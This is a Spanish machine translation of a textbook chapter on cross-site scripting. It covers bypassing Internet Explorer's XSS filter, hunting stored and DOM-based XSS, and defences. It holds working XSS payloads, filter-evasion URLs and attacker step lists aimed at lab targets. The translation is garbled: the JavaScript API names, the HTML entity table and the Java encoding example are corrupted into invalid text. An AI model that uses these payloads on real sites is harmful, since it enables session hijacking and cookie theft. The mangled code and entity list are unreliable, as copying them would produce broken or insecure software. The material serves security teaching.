En primer lugar, algunas formas de eludir el fi ltro surgen de las características principales de su diseño:
n Solo se consideran los valores de los parámetros, no los nombres de los parámetros.
Algunas aplicaciones son vulnerables a ataques triviales a través de nombres de
parámetros, como si toda la URL solicitada o la cadena de consulta se repiten en la respuesta.
Estos ataques no son prevenidos por el fi ltro.
n Debido a que el valor de cada parámetro se considera por separado, si más de un parámetro se
refleja en la misma respuesta, puede ser posible abarcar un ataque entre los dos parámetros, como
se describió como una técnica para superar los límites de longitud. Si la carga útil de XSS se puede
dividir en fragmentos, ninguno de los cuales coincide individualmente con la lista negra de
expresiones bloqueadas, el filtro no bloquea el ataque.
n Solo se incluyen solicitudes entre dominios, por motivos de rendimiento. Por lo tanto, si un atacante
puede hacer que un usuario realice una solicitud "en el sitio" de una URL XSS, el ataque no se
bloquea. Esto generalmente se puede lograr si la aplicación contiene algún comportamiento que
permita a un atacante inyectar enlaces arbitrarios en una página vista por otro usuario (incluso si
esto es en sí mismo un ataque reflejado; el filtro XSS busca bloquear solo los scripts inyectados,
no los inyectados). Enlaces). En este escenario, el ataque requiere dos pasos: la inyección del
enlace malicioso en la página de un usuario, y el usuario hace clic en el enlace y recibe la carga
útil XSS.
En segundo lugar, algunos detalles de implementación relacionados con el comportamiento del navegador y del servidor.
permitir que el fi ltro XSS se omita en algunos casos:
n Como ha visto, los navegadores toleran varios tipos de caracteres y sintaxis inesperados cuando
procesan HTML, como la propia tolerancia de IE de bytes NULL. Las peculiaridades del
comportamiento de IE a veces se pueden aprovechar para eludir su propio filtro XSS.
n Como se explicó en el Capítulo 10, los servidores de aplicaciones se comportan de varias

maneras cuando una solicitud contiene varios parámetros de solicitud con el mismo nombre.
En algunos casos concatenan todos los valores recibidos. Por ejemplo, en ASP.NET, si una cadena
de consulta contiene:
p1=foo&p1=barra
el valor del parámetro p1 que se pasa a la aplicación es:
p1=foo,barra
Por el contrario, el fi ltro XSS de IE aún procesa cada parámetro por separado, incluso si comparten
el mismo nombre. Esta diferencia de comportamiento puede facilitar
para abarcar una carga útil XSS en varios parámetros de solicitud "diferentes" con
el mismo nombre, omitiendo la lista negra con cada valor separado, todo lo cual el
servidor vuelve a combinar.
¡INTENTALO!
Actualmente, el siguiente exploit XSS logra eludir el fi ltro XSS de IE:
http://mdsec.net/error/5/Error.ashx?message=<scr%00ipt%20&message=> alerta('xss')</
script>
En tercer lugar, la forma en que el filtro desinfecta el código de script en las respuestas de la
aplicación puede aprovecharse para lanzar ataques que de otro modo serían imposibles. La
razón central de esto es que el fi ltro opera pasivamente, buscando solo correlaciones entre
entradas y salidas similares a secuencias de comandos. No puede sondear interactivamente la
aplicación para confi rmar si una determinada entrada realmente provoca una determinada
salida. Como resultado, un atacante puede aprovechar el fi ltro para neutralizar selectivamente
el propio código de secuencia de comandos de la aplicación que aparece en las respuestas. Si
el atacante incluye parte de una secuencia de comandos existente dentro del valor de un
parámetro de solicitud , el fi ltro IE XSS ve que el mismo código de secuencia de comandos
aparece en la solicitud y la respuesta y modifica la secuencia de comandos en la respuesta para evitar que se ejecu
Se han identificado algunas situaciones en las que la neutralización de un guión existente
cambia el contexto sintáctico de una parte posterior de la respuesta que contiene un reflejo
de la entrada del usuario. Este cambio de contexto puede significar que el propio filtrado
de la entrada reflejada por parte de la aplicación ya no es suficiente. Por lo tanto, la
reflexión se puede utilizar para lanzar un ataque XSS de una manera que era imposible sin
los cambios realizados por el fi ltro XSS de IE. Sin embargo, las situaciones en las que
esto ha surgido generalmente involucran casos extremos con características inusuales o
han revelado defectos en versiones anteriores del fi ltro IE XSS que desde entonces se han corregido.
Más importante aún, la capacidad de un atacante para neutralizar selectivamente el propio código de
secuencia de comandos de una aplicación podría aprovecharse para lanzar ataques completamente
diferentes al interferir con los mecanismos de control relevantes para la seguridad de una aplicación. Un
ejemplo genérico de esto se relaciona con la eliminación del código defensivo de destrucción de tramas
(consulte el Capítulo 13), pero pueden surgir muchos otros ejemplos en relación con el código específico
de la aplicación que realiza tareas de seguridad defensivas clave en el lado del cliente.
Búsqueda y explotación de vulnerabilidades XSS almacenadas El proceso
de identificación de vulnerabilidades XSS almacenadas se superpone sustancialmente con el

descrito para XSS reflejado. Incluye enviar una cadena única en cada punto de entrada dentro
de la aplicación. Sin embargo, debe tener en cuenta algunas diferencias importantes para
maximizar el número de vulnerabilidades identifi cadas.
PASOS DE HACK
1. Habiendo enviado una cadena única a cada ubicación posible dentro del
aplicación, debe revisar todo el contenido y la funcionalidad de la aplicación una
vez más para identificar cualquier instancia en la que esta cadena se muestre de
nuevo en el navegador. Los datos controlables por el usuario ingresados en una
ubicación (por ejemplo, un campo de nombre en una página de información
personal) pueden mostrarse en numerosos lugares a lo largo de la aplicación.
(Por ejemplo, podría estar en la página de inicio del usuario, en una lista de
usuarios registrados, en elementos de flujo de trabajo como tareas, en listas de
contactos de otros usuarios, en mensajes o preguntas publicadas por el usuario,
o en registros de aplicaciones. ) Cada apariencia de la cadena puede estar sujeta
a diferentes filtros de protección y, por lo tanto, debe investigarse por separado.
2. Si es posible, todas las áreas de la aplicación accesibles para los administradores
debe revisarse para identificar la apariencia de cualquier dato controlable por
usuarios no administrativos. Por ejemplo, la aplicación puede permitir que los
administradores revisen los archivos de registro en el navegador. Es
extremadamente común que este tipo de funcionalidad contenga vulnerabilidades
XSS que un atacante puede explotar generando entradas de registro que contienen HTML malicioso.
3. Al enviar una cadena de prueba a cada ubicación dentro de la aplicación, a veces
no es suficiente simplemente publicarla como cada parámetro en cada página.
Muchas funciones de la aplicación deben seguirse a través de varias etapas
antes de que los datos enviados se almacenen realmente. Por ejemplo,
acciones como registrar un nuevo usuario, realizar un pedido de compra y
realizar una transferencia de fondos a menudo implican el envío de varias
solicitudes diferentes en una secuencia definida. Para evitar perder
vulnerabilidades, es necesario ver cada caso de prueba hasta su finalización.
4. Al buscar XSS reflejado, está interesado en todos los aspectos de la solicitud
de una víctima que puede controlar. Esto incluye todos los parámetros de la
solicitud, cada encabezado HTTP, etc. En el caso de XSS almacenado, también
debe investigar los canales fuera de banda a través de los cuales la aplicación
recibe y procesa la entrada que puede controlar. Cualquiera de estos canales
son vectores de ataque adecuados para introducir ataques XSS almacenados.
Revise los resultados de sus ejercicios de mapeo de aplicaciones (consulte el
Capítulo 4) para identificar todas las posibles áreas de superficie de ataque.
5. Si la aplicación permite cargar y descargar archivos, pruebe siempre esta
función en busca de ataques XSS almacenados. Las técnicas detalladas para
probar este tipo de funcionalidad se analizan más adelante en este capítulo.
6. Piense imaginativamente en cualquier otro medio posible por el cual los datos
La aplicación puede almacenar el control y mostrarlo a otros usuarios. Por
ejemplo, si la función de búsqueda de la aplicación muestra una lista de elementos
de búsqueda populares, es posible que pueda introducir una carga útil XSS
almacenada buscándola varias veces, aunque la función de búsqueda principal
en sí misma maneje su entrada de forma segura.
Cuando haya identificado todas las instancias en las que la aplicación

almacena datos controlables por el usuario y luego los vuelve a mostrar en el
navegador, debe seguir el mismo proceso descrito anteriormente para investigar
posibles vulnerabilidades XSS reflejadas . Es decir, determine qué entrada debe
enviarse para incrustar JavaScript válido dentro del HTML circundante y luego
intente eludir los filtros que interfieren con el procesamiento de la carga útil de su ataque.
SUGERENCIA Al sondear XSS reflejado, es fácil identificar qué parámetros

de solicitud son potencialmente vulnerables. Puede probar un parámetro a la
vez y revisar cada respuesta en busca de cualquier apariencia de su entrada.
Sin embargo, con XSS almacenado, esto puede ser menos sencillo. Si envía la
misma cadena de prueba como cada parámetro de cada página, es posible que
esta cadena vuelva a aparecer en varias ubicaciones dentro de la aplicación.
Puede que no quede claro por el contexto precisamente qué parámetro es
responsable de la apariencia. Para evitar este problema, puede enviar una
cadena de prueba diferente como cada parámetro cuando busque fallas XSS
almacenadas. Por ejemplo, puede concatenar su cadena única con el nombre del campo al que se en
Algunas técnicas específicas son aplicables cuando se prueban las capacidades de

vulnerabilidad XSS almacenadas en tipos particulares de funcionalidad. Las siguientes secciones
examinan algunos de estos con más detalle.
Prueba de XSS en aplicaciones de correo web

Como hemos discutido, las aplicaciones de correo web tienen un riesgo inherente de contener
vulnerabilidades XSS almacenadas, porque incluyen contenido HTML recibido directamente de
terceros dentro de las páginas de la aplicación que se muestran a los usuarios.
Para probar esta funcionalidad, idealmente debería obtener su propia cuenta de correo electrónico
en la aplicación, enviarse varios exploits XSS en mensajes de correo electrónico y ver cada
mensaje dentro de la aplicación para determinar si alguno de los exploits tiene éxito.
Para realizar esta tarea de manera completa, debe enviar todo tipo de contenido HTML inusual
dentro de los correos electrónicos, como describimos para probar las omisiones en los filtros de
entrada. Si se limita a utilizar un cliente de correo electrónico estándar, es probable que descubra
que no tiene suficiente control sobre el contenido del mensaje sin procesar, o que el propio cliente
puede desinfectar o “limpiar” su sintaxis malformada deliberadamente.
En esta situación, generalmente es preferible utilizar un medio alternativo para generar
correos electrónicos que le brinde un control directo sobre el contenido de los mensajes. Un
método para hacer esto es usar el comando sendmail de UNIX. Debe haber configurado su
computadora con los detalles del servidor de correo que debe usar para enviar correo saliente.
Luego puede crear su correo electrónico sin procesar en un editor de texto y enviarlo usando
este comando:
sendmail -t [email protected] < email.txt

El siguiente es un ejemplo de un archivo de correo electrónico sin procesar. Además de probar varias
cargas útiles de XSS y omisiones de filtro en el cuerpo del mensaje, también puede intentar especificar
un tipo de contenido y un juego de caracteres diferentes :
Versión MIME: 1.0

De: [email protected] Tipo de
contenido: text/html; charset=us-ascii Codificación de transferencia
de contenido: 7 bits Asunto: Prueba XSS
<html>
<cuerpo>
<img src=`ònerror=alerta(1)>
</cuerpo>
</html>
.
Prueba de XSS en archivos cargados

Una fuente común, pero frecuentemente pasada por alto, de vulnerabilidades XSS almacenadas surge
cuando una aplicación permite a los usuarios cargar archivos que otros usuarios pueden descargar y
ver. Este tipo de funcionalidad surge con frecuencia en las aplicaciones actuales. Además de las
funciones de flujo de trabajo tradicionales diseñadas para compartir archivos, los archivos se pueden
enviar como archivos adjuntos de correo electrónico a los usuarios de correo web. Los archivos de
imagen se pueden adjuntar a las entradas del blog y se pueden usar como imágenes de perfil
personalizadas o compartir a través de álbumes de fotos.
Varios factores pueden afectar si una aplicación es vulnerable a los ataques de archivos cargados:
n Durante la carga de archivos, la aplicación puede restringir las extensiones de archivo que
puede ser usado.
n Durante la carga del archivo, la aplicación puede inspeccionar el contenido del archivo para con
fi rmar que cumple con un formato esperado, como JPEG. n Durante la descarga del archivo, la
aplicación puede devolver un encabezado de tipo de contenido que especifica el tipo de contenido
que la aplicación cree que contiene el archivo, como imagen/jpeg.
n Durante la descarga del archivo, la aplicación puede devolver un encabezado de disposición de

contenido que especifica que el navegador debe guardar el archivo en el disco. De lo contrario,
para los tipos de contenido relevantes, la aplicación procesa y presenta el archivo dentro del
navegador del usuario.
Al examinar esta funcionalidad, lo primero que debe hacer es intentar cargar un archivo HTML simple
que contenga un script de prueba de concepto. Si se acepta el archivo, intente descargarlo de la forma
habitual. Si el archivo original se devuelve sin modificar y su script se ejecuta, la aplicación es ciertamente
vulnerable.
Si la aplicación bloquea el archivo cargado, intente usar varias extensiones de archivo,

incluidas .txt y .jpg. Si la aplicación acepta un archivo que contiene HTML cuando usa una
extensión diferente, aún puede ser vulnerable, dependiendo exactamente de cómo se entregue
el archivo durante la descarga. Las aplicaciones de correo web suelen ser vulnerables de esta
manera. Un atacante puede enviar correos electrónicos que contengan una imagen adjunta que
suene seductora y que, de hecho, comprometa la sesión de cualquier usuario que la vea.
Incluso si la aplicación devuelve un encabezado de tipo de contenido que especifica que el

archivo descargado es una imagen, algunos navegadores aún pueden procesar su contenido
como HTML si esto es lo que realmente contiene el archivo. Por ejemplo:

Tipo de contenido: imagen/jpeg
<script>alerta(1)</script>
Las versiones anteriores de Internet Explorer se comportaban de esta manera. Si un usuario

solicitó un archivo .jpg directamente (no a través de una etiqueta <img> incrustada) y se recibió
la respuesta anterior , IE realmente procesaría su contenido como HTML. Aunque este
comportamiento se modificó desde entonces, es posible que otros navegadores se comporten
de esta manera en el futuro.
Ataques de archivos
híbridos A menudo, para defenderse de los ataques descritos hasta ahora, las aplicaciones
realizan alguna validación del contenido del archivo cargado para verificar que realmente
contiene datos en el formato esperado, como una imagen. Estas aplicaciones aún pueden ser
vulnerables, utilizando "archivos híbridos" que combinan dos formatos diferentes dentro del
mismo archivo.
Un ejemplo de un archivo híbrido es un archivo GIFAR, ideado por Billy Rios. Un archivo
GIFAR contiene datos tanto en formato de imagen GIF como en formato JAR (archivo Java) y
en realidad es una instancia válida de ambos formatos. Esto es posible porque los metadatos
del archivo relacionados con el formato GIF están al principio del archivo y los metadatos
relacionados con el formato JAR están al final del archivo. Debido a esto, las aplicaciones que
validan el contenido de los archivos cargados y que permiten archivos que contienen datos GIF,
aceptan los archivos GIFAR como válidos.
Un ataque de archivo cargado usando un archivo GIFAR generalmente implica los siguientes
pasos:
n El atacante encuentra una función de aplicación en la que los archivos GIF cargados por
un usuario pueden ser descargados por otros usuarios, como la imagen de perfil de un
usuario en una aplicación de red social.
n El atacante construye un archivo GIFAR que contiene código Java que secuestra la sesión
de cualquier usuario que lo ejecute.
n El atacante sube el archivo como su foto de perfil. Dado que el archivo contiene
una imagen GIF válida, la aplicación la acepta.
n El atacante identifica un sitio web externo adecuado desde el cual lanzar un ataque aprovechando
el archivo cargado. Este puede ser el sitio web del atacante o un sitio de terceros que permita
la creación de HTML arbitrario, como un blog.
n En el sitio externo, el atacante utiliza la etiqueta <applet> o <object> para cargar el archivo GIFAR
del sitio de redes sociales como un subprograma Java. n Cuando un usuario visita el sitio
externo, el subprograma Java del atacante se ejecuta en su navegador. Para los subprogramas de
Java, la política del mismo origen se implementa de manera diferente que para los scripts
normales incluidos. El subprograma se trata como perteneciente al dominio desde el que se
cargó, no al dominio que lo invocó. Por lo tanto, el subprograma del atacante se ejecuta en el
dominio de la aplicación de red social. Si el usuario de la víctima inició sesión en la aplicación
de red social en el momento del ataque, o si inició sesión recientemente y seleccionó la opción
"permanecer conectado", el subprograma del atacante tiene acceso completo a la sesión del
usuario y el usuario está comprometido. .
Este ataque específico que utiliza archivos GIFAR se evita en las versiones actuales del complemento
del navegador Java, que valida si los archivos JAR que se cargan realmente contienen contenido
híbrido. Sin embargo, el principio de utilizar archivos híbridos para ocultar el código ejecutable sigue
siendo válido. Dada la creciente gama de formatos de código ejecutable por el cliente que se utilizan
actualmente, es posible que existan ataques similares en otros formatos o que surjan en el futuro.
XSS en archivos cargados a través
de Ajax Algunas de las aplicaciones actuales usan Ajax para recuperar y representar direcciones URL
que se especifican después del identifi cador de fragmento. Por ejemplo, las páginas de una aplicación
pueden contener enlaces como los siguientes:
http://wahh-app.com/#profile
Cuando el usuario hace clic en el enlace, el código del lado del cliente maneja el evento de clic,
usa Ajax para recuperar el archivo que se muestra después del fragmento y establece la respuesta
dentro del HTML interno de un elemento <div> en la página existente. Esto puede proporcionar
una experiencia de usuario sin costuras , en la que al hacer clic en una pestaña en la interfaz de
usuario se actualiza el contenido mostrado sin recargar toda la página.
En esta situación, si la aplicación también contiene una funcionalidad que le permite cargar y
descargar archivos de imagen, como una imagen de perfil de usuario, es posible que pueda cargar un
archivo de imagen válido que contenga marcado HTML incrustado y construir una URL que provoque
la código del lado del cliente para obtener la imagen y mostrarla como HTML:
http://wahh-app.com/#profiles/images/15234917624.jpg
HTML se puede incrustar en varias ubicaciones dentro de un archivo de imagen válido,

incluida la sección de comentarios de la imagen. Varios navegadores, incluidos Firefox y
Safari, felizmente muestran un archivo de imagen como HTML. Las partes binarias de la
imagen se muestran como basura y cualquier HTML incrustado se muestra de la forma habitual.
SUGERENCIA Suponga que una víctima potencial está utilizando un navegador

compatible con HTML5, donde las solicitudes Ajax entre dominios son posibles con
el permiso del dominio solicitado. Otro posible ataque en esta situación sería colocar
una URL absoluta después del carácter del fragmento, especificando un archivo
HTML externo que el atacante controla por completo, en un servidor que permita la
interacción Ajax desde el dominio objetivo. Si la secuencia de comandos del lado
del cliente no valida que la URL que se solicita está en el mismo dominio, el ataque
de inclusión remota de archivos del lado del cliente tiene éxito.
Debido a que esta validación del dominio de la URL habría sido
innecesaria en versiones anteriores de HTML, este es un ejemplo en el
que los cambios introducidos en HTML5 pueden introducir condiciones
explotables en aplicaciones existentes que antes eran seguras.
Búsqueda y explotación de vulnerabilidades XSS basadas en DOM

Las vulnerabilidades XSS basadas en DOM no se pueden identificar enviando una cadena única
como cada parámetro y monitoreando las respuestas para detectar la apariencia de esa cadena.
Un método básico para identificar errores XSS basados en DOM es recorrer manualmente la
aplicación con su navegador y modificar cada parámetro de URL para que contenga una cadena
de prueba estándar, como una de las siguientes:
“<script>alerta(1)</script>
“;alerta(1)//
'-alerta(1)-'
Al mostrar cada página devuelta en su navegador, hace que se ejecuten todos los scripts del
lado del cliente, haciendo referencia a su parámetro de URL modificado cuando corresponda.
Cada vez que aparece un cuadro de diálogo que contiene sus cookies, habrá encontrado una
vulnerabilidad (que puede deberse a XSS basado en DOM u otras formas). Este proceso podría
incluso ser automatizado por una herramienta que implementara su propio intérprete de
JavaScript.
Sin embargo, este enfoque básico no identifica todos los errores XSS basados en DOM.
Como ha visto, la sintaxis precisa requerida para inyectar JavaScript válido en un documento
HTML depende de la sintaxis que ya aparece antes y después del punto donde se inserta la
cadena controlable por el usuario. Puede ser necesario terminar una cadena entre comillas
simples o dobles o cerrar etiquetas específi cas. A veces se pueden requerir nuevas etiquetas,
pero a veces no. El código de la aplicación del lado del cliente puede intentar validar los datos
recuperados del DOM y aún así puede ser vulnerable.
Si una cadena de prueba estándar no da como resultado una sintaxis válida cuando
se procesa e inserta, el JavaScript incrustado no se ejecuta y no aparece ningún
cuadro de diálogo, aunque la aplicación puede ser vulnerable a un ataque diseñado
correctamente. Aparte de enviar cada cadena de ataque XSS concebible en cada
parámetro, el enfoque básico inevitablemente pasa por alto una gran cantidad de vulnerabilidades.
Un enfoque más efectivo para identificar errores XSS basados en DOM es revisar todo el
JavaScript del lado del cliente para detectar cualquier uso de las propiedades DOM que pueda
conducir a una vulnerabilidad. Hay varias herramientas disponibles para ayudar a automatizar este
proceso. Una de estas herramientas efectivas es DOMTracer, disponible en la siguiente URL:
www.blueinfy.com/tools.html
PASOS DE HACK
Usando los resultados de los ejercicios de mapeo de su aplicación del Capítulo 4,

revise cada pieza de JavaScript del lado del cliente para las siguientes API, que se pueden
usar para acceder a los datos DOM que se pueden controlar a través de una URL diseñada:
n documento.ubicación
n documento.URL
n documento.URLUsincodificar
n documento.referente
n ventana.ubicación
Asegúrese de incluir secuencias de comandos que aparecen en páginas HTML

estáticas, así como en páginas generadas dinámicamente. Los errores XSS basados en DOM
pueden existir en cualquier lugar donde se utilicen secuencias de comandos del lado del
cliente, independientemente del tipo de página o si ve que se envían parámetros a la página.
En todos los casos en los que se utilice una de las API anteriores, revise
detenidamente el código para identificar qué se está haciendo con los datos controlables
por el usuario y si la entrada manipulada podría usarse para provocar la ejecución de
JavaScript arbitrario. En particular, revise y pruebe cualquier instancia en la que sus datos
se transfieran a cualquiera de las siguientes API:
n documento.escribir()
n documento.writeln()
n documento.cuerpo.innerHtml
n evaluar()
n ventana.execScript()
n ventana.setInterval()
n ventana.setTimeout()
¡INTENTALO!
http://mdsec.net/error/18/ http://mdsec.net/
error/22/ http://mdsec.net/error/28/ http://
mdsec.net/error/31/ http: //mdsec.net/
mdsec.net/error/49/ http://mdsec.net/error/
53/ http:// mdsec.net/error/56/ http://
mdsec.net/error/61/
Al igual que con XSS reflejado y almacenado, la aplicación puede realizar varios filtros
en un intento de bloquear los ataques. A menudo, el filtrado se aplica en el lado del cliente,
y puede revisar el código de validación directamente para comprender cómo funciona e
intentar identificar cualquier omisión. Todas las técnicas ya descritas para filtros contra
ataques XSS reflejados pueden ser relevantes aquí.
¡INTENTALO!
mdsec.net/error/109/ http: //mdsec.net/error/
118/
En algunas situaciones, puede encontrar que la aplicación del lado del servidor
implementa fi ltros diseñados para evitar ataques XSS basados en DOM. Aunque la
operación vulnerable ocurre en el cliente y el servidor no devuelve los datos proporcionados
por el usuario en su respuesta, la URL aún se envía al servidor. Por lo tanto, la aplicación
puede validar los datos y no devolver el script vulnerable del lado del cliente cuando se
detecta una carga útil maliciosa.
Si se encuentra esta defensa, debe intentar cada una de las posibles omisiones del filtro
que se describieron anteriormente para las vulnerabilidades XSS reflejadas para probar la
solidez de la validación del servidor. Además de estos ataques, varias técnicas exclusivas
de los errores XSS basados en DOM pueden permitir que la carga útil de su ataque evada
la validación del lado del servidor.
Cuando los scripts del lado del cliente extraen el valor de un parámetro de la URL, rara
vez analizan la cadena de consulta correctamente en pares de nombre/valor. En su lugar,
normalmente buscan en la URL el nombre del parámetro seguido del signo igual y luego
extraiga lo que venga a continuación, hasta el final de la URL. Este comportamiento puede
ser explotado de dos maneras:
n Si la lógica de validación del servidor se aplica por parámetro, en lugar de en toda

la URL, la carga útil se puede colocar en un parámetro inventado que se agrega
después del parámetro vulnerable. Por ejemplo:
http://mdsec.net/error/76/Error.ashx?message=Sorry%2c+an+error+ocurre
ed&foo=<script>alerta(1)</script>
Aquí, el servidor ignora el parámetro inventado, por lo que no está sujeto a ningún
filtrado. Sin embargo, debido a que la secuencia de comandos del lado del cliente
busca la cadena de consulta para message= y extrae todo lo que sigue, incluye
su carga útil en la cadena que procesa.
n Si la lógica de validación del servidor se aplica a toda la URL, no solo al parámetro

del mensaje, aún es posible evadir el fi ltro colocando la carga útil a la derecha del
carácter del fragmento HTML (#):
http://mdsec.net/error/82/Error.ashx?message=Sorry%2c+an+error+ ocurrió#<script>alerta(1)</script>
Aquí, la cadena de fragmentos sigue siendo parte de la URL. Por lo tanto, se

almacena en el DOM y será procesado por el script vulnerable del lado del cliente.
Sin embargo, debido a que los navegadores no envían la parte del fragmento de
la URL al servidor, la cadena de ataque ni siquiera se envía al servidor y , por lo
tanto, no puede ser bloqueada por ningún tipo de filtro del lado del servidor. Debido
a que el script del lado del cliente extrae todo después de message=, la carga aún
se copia en la fuente de la página HTML.
¡INTENTALO!
error/82/
MITO COMÚN
"Comprobamos todas las solicitudes de los usuarios en busca de etiquetas de secuencias de comandos incrustadas, por lo que no
son posibles los ataques XSS".
Aparte de la cuestión de si es posible desviar el filtro,

Ahora he visto tres razones por las que esta afirmación puede ser incorrecta:
n En algunas fallas XSS, los datos controlables por el atacante se insertan directamente en un
contexto de JavaScript existente, por lo que no es necesario usar etiquetas de secuencias de
comandos u otros medios para introducir código de secuencias de comandos. En otros casos,
puede inyectar un controlador de eventos que contenga JavaScript sin usar ninguna etiqueta de secuencia de comandos.
n Si una aplicación recibe datos a través de algún canal fuera de banda y los presenta dentro de
su interfaz web, cualquier error XSS almacenado puede explotarse sin enviar ninguna carga
útil maliciosa mediante HTTP.
n Es posible que los ataques contra XSS basados en DOM no impliquen el envío de ninguna
carga útil maliciosa al servidor. Si se utiliza la técnica de fragmentación, la carga útil
permanece en el cliente en todo momento.
Algunas aplicaciones emplean un script del lado del cliente más sofisticado que realiza
un análisis más estricto de la cadena de consulta. Por ejemplo, puede buscar en la URL
el nombre del parámetro seguido del signo igual, pero luego extraer lo que sigue solo
hasta que alcance un delimitador relevante como & o #. En este caso, los dos ataques
descritos anteriormente podrían modificarse de la siguiente manera:
http://mdsec.net/error/79/Error.ashx?foomessage=<script>alerta(1)</script
>&message=Lo siento%2c+ocurrió+un+error
http://mdsec.net/error/79/Error.ashx#message=<script>alerta(1)</script>
En ambos casos, la primera coincidencia para message= es seguida inmediatamente

por la cadena de ataque, sin ningún delimitador intermedio, por lo que la carga útil se
procesa y se copia en la fuente de la página HTML.
¡INTENTALO!
En algunos casos, puede encontrar que se realiza un procesamiento complejo en datos

basados en DOM. Por lo tanto, es difícil rastrear todas las diferentes rutas tomadas por los
datos controlables por el usuario y toda la manipulación que se realiza, únicamente a través
de la revisión estática del código fuente de JavaScript. En esta situación, puede ser
beneficioso usar un depurador de JavaScript para monitorear dinámicamente la ejecución
del script. La extensión FireBug para el navegador Firefox es un depurador completo para
código y contenido del lado del cliente. Le permite establecer puntos de interrupción y relojes
en código y datos interesantes, lo que facilita considerablemente la tarea de comprender un script complejo.
MITO COMÚN
"Estaban a salvo. Nuestro escáner de aplicaciones web no encontró ningún error XSS”.
Como verá en el Capítulo 19, algunos escáneres de aplicaciones web hacen un trabajo
razonable al encontrar fallas comunes, incluido XSS. Sin embargo, debería ser evidente en este
punto que muchas vulnerabilidades XSS son sutiles de detectar, y crear un exploit que funcione
puede requerir un sondeo y experimentación extensos.
En la actualidad, ninguna herramienta automatizada puede identificar de forma fiable todos estos errores.
Prevención de ataques XSS
A pesar de las diversas manifestaciones de XSS y las diferentes posibilidades de explotación,

prevenir la vulnerabilidad en sí es, de hecho, conceptualmente sencillo . Lo que lo hace
problemático en la práctica es la dificultad de identificar cada instancia en la que los datos
controlables por el usuario se manejan de una manera potencialmente peligrosa. Cualquier
página dada de una aplicación puede procesar y mostrar docenas de elementos de datos de
usuario. Además de la funcionalidad principal, pueden surgir vulnerabilidades en los mensajes
de error y otras ubicaciones. Por lo tanto, no sorprende que las fallas XSS sean tan frecuentes,
incluso en las aplicaciones más críticas para la seguridad.
Se aplican diferentes tipos de defensa al XSS reflejado y almacenado por un lado,
y al XSS basado en DOM por el otro, debido a sus diferentes causas fundamentales.
Prevención de XSS reflejados y almacenados

La causa principal de XSS reflejado y almacenado es que los datos controlables por el usuario
se copian en las respuestas de la aplicación sin la validación y desinfección adecuadas.
Debido a que los datos se insertan en el código fuente sin procesar de una página HTML, los
datos maliciosos pueden interferir con esa página, modificando no solo su contenido sino
también su estructura: rompiendo cadenas entrecomilladas, abriendo y cerrando etiquetas,
inyectando scripts, etc. sobre.
Para eliminar las vulnerabilidades XSS reflejadas y almacenadas, el primer paso es
identificar cada instancia dentro de la aplicación donde los datos controlables por el usuario se
copian en las respuestas. Esto incluye los datos que se copian de la solicitud inmediata y
también los datos almacenados que se originaron en cualquier usuario en cualquier momento
anterior, incluso a través de canales fuera de banda. Para garantizar que se identifique cada
instancia, no existe un sustituto real para una revisión minuciosa de todo el código fuente de la aplicación.
Habiendo identificado todas las operaciones que están potencialmente en riesgo de XSS y
que deben ser defendidas adecuadamente, debe seguir un enfoque triple para evitar que surjan
vulnerabilidades reales:
n Validar entrada. n
Validar salida. n
Eliminar puntos de inserción peligrosos.
Una advertencia a este enfoque surge cuando una aplicación necesita permitir que los
usuarios creen contenido en formato HTML, como una aplicación de blogs que permite HTML
en los comentarios. Algunas consideraciones específicas relacionadas con esta situación se
discuten después de que se hayan descrito las técnicas defensivas generales.
Validar entrada
En el momento en que la aplicación recibe datos proporcionados por el usuario que pueden
copiarse en una de sus respuestas en cualquier momento futuro, la aplicación debe realizar
validación dependiente del contexto de estos datos, de la manera más estricta posible.
Las características potenciales para validar incluyen lo siguiente:
n Los datos no son demasiado
largos. n Los datos contienen solo un determinado conjunto de caracteres
permitido. n Los datos coinciden con una expresión regular particular.
Se deben aplicar diferentes reglas de validación de la manera más restrictiva posible a nombres,
direcciones de correo electrónico, números de cuenta, etc., de acuerdo con el tipo de datos que la
aplicación espera recibir en cada campo.
Validar salida
En el punto en que la aplicación copia en sus respuestas cualquier elemento de datos que se
originó de algún usuario o tercero, estos datos deben codificarse en HTML para desinfectar
caracteres potencialmente maliciosos. La codificación HTML implica reemplazar caracteres
literales con sus entidades HTML correspondientes. Esto garantiza que los navegadores manejarán
caracteres potencialmente maliciosos de forma segura, tratándolos como parte del contenido del
documento HTML y no como parte de su estructura.
Las codificaciones HTML de los principales caracteres problemáticos son las siguientes:
norte
“ — "
norte
' — '
n & - &amperio;
n < — <
n > — >
Además de estas codificaciones comunes, cualquier carácter puede codificarse en HTML.

usando su código numérico de caracteres ASCII, de la siguiente manera:
n % — %
norte
* — *
Cabe señalar que cuando se inserta la entrada del usuario en un valor de atributo de etiqueta,
el navegador HTML decodifica el valor antes de procesarlo más. En esta situación, la defensa de
simplemente codificar en HTML cualquier carácter normalmente problemático puede ser ineficaz.
De hecho, como hemos visto, para algunos fi ltros, el atacante puede eludir los caracteres de
codificación HTML en la carga útil. Por ejemplo:
<img src=”javascript:alert(document.cookie)”> <img src=”image.gif”

onload=”alert('xss')”>
Como se describe en la siguiente sección, es preferible evitar insertar datos

controlables por el usuario en estas ubicaciones. Si esto se considera inevitable por
alguna razón, se debe tener mucho cuidado para evitar que se desvíe el filtro. Por ejemplo,
si los datos del usuario se insertan en una cadena de JavaScript entrecomillada en un

controlador de eventos, cualquier comilla o barra invertida en la entrada del usuario debe
escapar correctamente con barras invertidas, y la codificación HTML debe incluir
; caracteres
los &y
para evitar que un atacante realice su propia codificación HTML .
Las aplicaciones ASP.NET pueden usar la API Server.HTMLEncode para desinfectar
caracteres maliciosos comunes dentro de una cadena controlable por el usuario antes de
que se copie en la respuesta del servidor. Esta API convierte los caracteres “&< y > en sus
correspondientes entidades HTML y también convierte cualquier carácter ASCII por encima
de 0x7f usando la forma numérica de codificación.
La plataforma Java no tiene una API integrada equivalente; sin embargo, es fácil construir
su propio método equivalente usando solo la forma numérica de codificación.
Por ejemplo:
String HTMLEncode público estático (String s) {
StringBuffer fuera = nuevo StringBuffer(); for (int i = 0; i <

s.longitud(); i++) {
char c = s.charAt(i); si(c > 0x7f ||

c=='”' || c=='&' || c=='<' || c=='>')
out.append(“&#” + (int) c + “;”); más fuera.append(c);
} volver a salir.toString();
}
Un error común que cometen los desarrolladores es codificar en HTML solo los caracteres
